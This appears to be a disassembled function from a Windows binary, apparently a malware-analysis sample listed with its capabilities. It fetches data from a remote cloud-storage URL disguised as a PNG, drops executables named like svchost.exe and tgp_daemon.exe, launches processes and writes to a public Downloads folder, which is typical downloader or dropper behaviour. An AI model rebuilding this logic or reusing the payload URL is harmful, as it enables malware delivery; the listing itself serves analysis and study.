Function at 0x403a30
Capabilities:
Create http request
Create process on windows
Create process suspended
Get common file path
Read data from internet
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4250b2
mov eax, dword fs:[0]
push eax
sub esp, 0x700
mov eax, dword [0x43504c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0
push str.http_connect
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x4000000
push 0
push 0
push str.https:__posstimg.oss_cn_hongkong.aliyuncs.com_202.58.101.62.png
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x3c8
mov esi, eax
lea eax, [ebp - 0x580]
push 0
push eax
call fcn.0040a110
add esp, 0xc
mov dword [ebp - 0x584], 0
lea eax, [ebp - 0x584]
push eax
push 0x3c8
lea eax, [ebp - 0x580]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x584]
lea edi, [ebp - 0x1b8]
mov ecx, 0x37
push 0x64
push 0
lea esi, [ebp + eax - 0x65d]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x74]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040a110
push 0x64
lea eax, [ebp - 0xd8]
push 0
push eax
call fcn.0040a110
add esp, 0x18
lea eax, [ebp - 0x6c4]
xor esi, esi
mov dword [ebp - 0x6c4], esi
push eax
push esi
push esi
push 0x426600
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov dword [ebp - 0x5b4], esi
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov edx, dword [ebp - 0x6c4]
mov ecx, edx
mov dword [ebp - 0x5a4], esi
mov dword [ebp - 0x5a0], 7
mov word [ebp - 0x5b4], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403b50
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x5b4]
call fcn.00406120
lea edx, [ebp - 0x5b4]
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x59c]
call fcn.00403720
push str._svchost.exe
lea edx, [ebp - 0x59c]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x6ec]
call fcn.00406880
mov edi, eax
add esp, 4
cmp dword [edi + 0x14], 0x10
jb 0x403bab
mov edi, dword [edi]
mov edx, dword [ebp - 0x6d8]
cmp edx, 0x10
jb 0x403be5
mov ecx, dword [ebp - 0x6ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403bdb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040d9
push edx
push ecx
call fcn.0040893e
add esp, 8
push edi
mov dword [ebp - 0x6dc], 0
mov dword [ebp - 0x6d8], 0xf
mov byte [ebp - 0x6ec], 0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx eax, ax
xor edi, edi
mov dword [ebp - 0x6f4], eax
mov al, byte [ebp + edi - 0x1b8]
test al, al
je 0x403c27
mov byte [ebp + esi - 0x74], al
inc esi
jmp 0x403ec4
test esi, esi
jle 0x403ec4
cmp esi, 0x64
jae 0x4040e3
cmp byte [ebp - 0xd8], 0
mov byte [ebp + esi - 0x74], 0
je 0x403ea8
mov byte [ebp - 0x6f0], 0
lea edx, [ebp - 0x74]
push dword [ebp - 0x6f0]
lea ecx, [ebp - 0x610]
call fcn.00407330
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x59c]
lea ecx, [ebp - 0x70c]
call fcn.00406880
add esp, 8
mov esi, eax
mov dword [ebp - 0x6ec], 0
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x6dc], 0
mov dword [ebp - 0x6d8], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x6ec], 0
mov byte [ebp - 4], 4
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403cb5
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x6ec]
call fcn.004063c0
mov edx, esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x6ec]
call fcn.004033c0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x6d8]
cmp edx, 0x10
jb 0x403d20
mov ecx, dword [ebp - 0x6ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403d16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040d9
push edx
push ecx
call fcn.0040893e
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x6f8]
mov dword [ebp - 0x6dc], 0
mov dword [ebp - 0x6d8], 0xf
mov byte [ebp - 0x6ec], 0
cmp edx, 0x10
jb 0x403d79
mov ecx, dword [ebp - 0x70c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403d6f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040d9
push edx
push ecx
call fcn.0040893e
add esp, 8
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x59c]
lea ecx, [ebp - 0x70c]
call fcn.00406880
add esp, 4
mov esi, eax
mov byte [ebp - 4], 7
cmp dword [esi + 0x14], 0x10
jb 0x403d9f
mov esi, dword [esi]
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x59c]
lea ecx, [ebp - 0x6ec]
call fcn.00406880
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x403dbf
mov eax, dword [eax]
mov edx, esi
mov ecx, eax
call fcn.00403850
mov edx, dword [ebp - 0x6d8]
cmp edx, 0x10
jb 0x403e02
mov ecx, dword [ebp - 0x6ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403df8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040d9
push edx
push ecx
call fcn.0040893e
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x6f8]
mov dword [ebp - 0x6dc], 0
mov dword [ebp - 0x6d8], 0xf
mov byte [ebp - 0x6ec], 0
cmp edx, 0x10
jb 0x403e5b
mov ecx, dword [ebp - 0x70c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403e51
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040d9
push edx
push ecx
call fcn.0040893e
add esp, 8
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x5fc]
mov byte [ebp - 0xd8], 0
cmp edx, 8
jb 0x403ec2
mov ecx, dword [ebp - 0x610]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403e9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040d9
push edx
push ecx
call fcn.0040893e
add esp, 8
jmp 0x403ec2
xor eax, eax
nop word [eax + eax]
mov cl, byte [ebp + eax - 0x74]
lea eax, [eax + 1]
mov byte [ebp + eax - 0xd9], cl
test cl, cl
jne 0x403eb0
xor esi, esi
inc edi
cmp edi, 0xdd
jb 0x403c12
xorps xmm0, xmm0
mov dword [ebp - 0x5f8], 0x44
push str._tgp_daemon.exe
lea edx, [ebp - 0x59c]
movlpd qword [ebp - 0x5f4], xmm0
lea ecx, [ebp - 0x6ec]
movlpd qword [ebp - 0x5ec], xmm0
movlpd qword [ebp - 0x5e4], xmm0
movlpd qword [ebp - 0x5dc], xmm0
movlpd qword [ebp - 0x5d4], xmm0
movlpd qword [ebp - 0x5cc], xmm0
movlpd qword [ebp - 0x5c4], xmm0
movlpd qword [ebp - 0x5bc], xmm0
movups xmmword [ebp - 0x6d4], xmm0
call fcn.00406880
mov esi, eax
add esp, 4
cmp dword [esi + 0x14], 0x10
jb 0x403f48
mov esi, dword [esi]
mov edx, dword [ebp - 0x6d8]
cmp edx, 0x10
jb 0x403f82
mov ecx, dword [ebp - 0x6ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403f78
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040de
push edx
push ecx
call fcn.0040893e
add esp, 8
lea eax, [ebp - 0x6d4]
mov dword [ebp - 0x6dc], 0
push eax
lea eax, [ebp - 0x5f8]
mov dword [ebp - 0x6d8], 0xf
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
mov byte [ebp - 0x6ec], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push dword [ebp - 0x6d4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xb0
lea eax, [ebp - 0x6c0]
push 0
push eax
call fcn.0040a110
add esp, 4
lea ecx, [ebp - 0x6c0]
push 2
push str.C:UsersPublicDownloads23.txt
call fcn.00404d20
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 8
call fcn.00405e30
test eax, eax
jne 0x404034
mov eax, dword [ebp - 0x6c0]
lea ecx, [ebp - 0x6c0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00402350
mov ecx, dword [ebp - 0x6f4]
call fcn.004031d0
lea ecx, [ebp - 0x6c0]
call fcn.00403620
mov edx, dword [ebp - 0x588]
cmp edx, 0x10
jb 0x404080
mov ecx, dword [ebp - 0x59c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404076
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e8
push edx
push ecx
call fcn.0040893e
add esp, 8
mov edx, dword [ebp - 0x5a0]
cmp edx, 8
jb 0x4040bc
mov ecx, dword [ebp - 0x5b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4040b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e8
push edx
push ecx
call fcn.0040893e
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004086f9
mov esp, ebp
pop ebp
ret
call fcn.0040fa03
call fcn.0040fa03
call fcn.0040882e
call fcn.0040fa03
int3